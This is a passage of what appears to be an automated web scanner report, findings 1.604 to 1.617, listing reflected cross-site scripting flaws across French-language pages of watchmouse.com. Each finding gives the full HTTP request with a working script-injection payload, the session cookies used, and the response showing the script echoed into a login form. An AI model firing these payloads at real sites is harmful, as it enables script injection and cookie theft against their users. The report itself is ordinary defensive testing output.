...[SNIP]...

1.604. http://www.watchmouse.com/fr/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6419d"><script>alert(1)</script>def6dce2293 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=16419d"><script>alert(1)</script>def6dce2293 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-ddd74b2b05d8c6f3b0cb8917517dbe23"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=16419d"><script>alert(1)</script>def6dce2293" method="post">
...[SNIP]...

1.605. http://www.watchmouse.com/fr/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1291"><script>alert(1)</script>630ae9a337e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fra1291"><script>alert(1)</script>630ae9a337e/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-31c63956f37c81d71d24d7e0416b8bf7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fra1291"><script>alert(1)</script>630ae9a337e/" method="post">
...[SNIP]...

1.606. http://www.watchmouse.com/fr/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75c03"><script>alert(1)</script>df6e6da6b47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/?75c03"><script>alert(1)</script>df6e6da6b47=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-2d11a1b996e01ca2a9d6d644907ba6f3"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/?75c03"><script>alert(1)</script>df6e6da6b47=1" method="post">
...[SNIP]...

1.607. http://www.watchmouse.com/fr/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6190c"><script>alert(1)</script>eec7a902b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fr6190c"><script>alert(1)</script>eec7a902b5/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f6acb9ac00e8013f53a636ce456c4db9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fr6190c"><script>alert(1)</script>eec7a902b5/feature/public-status-page.html" method="post">
...[SNIP]...

1.608. http://www.watchmouse.com/fr/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66edf"><script>alert(1)</script>45eca1981d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature66edf"><script>alert(1)</script>45eca1981d1/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:07 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-8efe6f809bd26933168e0ec812f4ee50"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/feature66edf"><script>alert(1)</script>45eca1981d1/public-status-page.html" method="post">
...[SNIP]...

1.609. http://www.watchmouse.com/fr/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39421"><script>alert(1)</script>6105484ac02 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature/public-status-page.html39421"><script>alert(1)</script>6105484ac02 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-ef9ed640b33a089b2db418c8c9bfd342"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/feature/public-status-page.html39421"><script>alert(1)</script>6105484ac02" method="post">
...[SNIP]...

1.610. http://www.watchmouse.com/fr/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adf27"><script>alert(1)</script>db9a04a7cb2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fradf27"><script>alert(1)</script>db9a04a7cb2/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2d4b58db289773bb39b317ebe706aba0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fradf27"><script>alert(1)</script>db9a04a7cb2/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.611. http://www.watchmouse.com/fr/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6084e"><script>alert(1)</script>6c7f15c3f30 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature6084e"><script>alert(1)</script>6c7f15c3f30/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-cc9c3a36485ab72fb46503d838c84292"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/feature6084e"><script>alert(1)</script>6c7f15c3f30/the-watchmouse-api.html" method="post">
...[SNIP]...

1.612. http://www.watchmouse.com/fr/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fbad"><script>alert(1)</script>35a8778527d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature/the-watchmouse-api.html3fbad"><script>alert(1)</script>35a8778527d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-a923e68859fe99ae68c65e12743eaac8"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/feature/the-watchmouse-api.html3fbad"><script>alert(1)</script>35a8778527d" method="post">
...[SNIP]...

1.613. http://www.watchmouse.com/fr/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3aaf"><script>alert(1)</script>b57c476554f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /frc3aaf"><script>alert(1)</script>b57c476554f/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-84df100d59952cfec952573fa14e96fe"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/frc3aaf"><script>alert(1)</script>b57c476554f/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.614. http://www.watchmouse.com/fr/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9584a"><script>alert(1)</script>50ff984e50c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature9584a"><script>alert(1)</script>50ff984e50c/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-18071240ca507f19649141ff12cf18c5"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/feature9584a"><script>alert(1)</script>50ff984e50c/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.615. http://www.watchmouse.com/fr/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ac2f"><script>alert(1)</script>9c27d6a2c4f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature/transaction-monitoring-web-application-testing.html8ac2f"><script>alert(1)</script>9c27d6a2c4f HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-038f2880e9e815a8e39470a1faaeb92b"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/fr/feature/transaction-monitoring-web-application-testing.html8ac2f"><script>alert(1)</script>9c27d6a2c4f" method="post">
...[SNIP]...

1.616. http://www.watchmouse.com/fr/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fa4d"><script>alert(1)</script>10bfb984279 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/feature/transaction-monitoring-web-application-testing.html?8fa4d"><script>alert(1)</script>10bfb984279=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-fr-ecb86086049dc0cec5c4cccbe2764886"
Content-Language: fr
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24754

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head><tit
...[SNIP]...
<form id="login_form" action="/fr/feature/transaction-monitoring-web-application-testing.html?8fa4d"><script>alert(1)</script>10bfb984279=1" method="post">
...[SNIP]...

1.617. http://www.watchmouse.com/fr/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/fr/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a1a4"><script>alert(1)</script>c0f84162fa5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fr8a1a4"><script>alert(1)</script>c0f84162fa5/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-762d521553a57e587d807a583139a2db"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
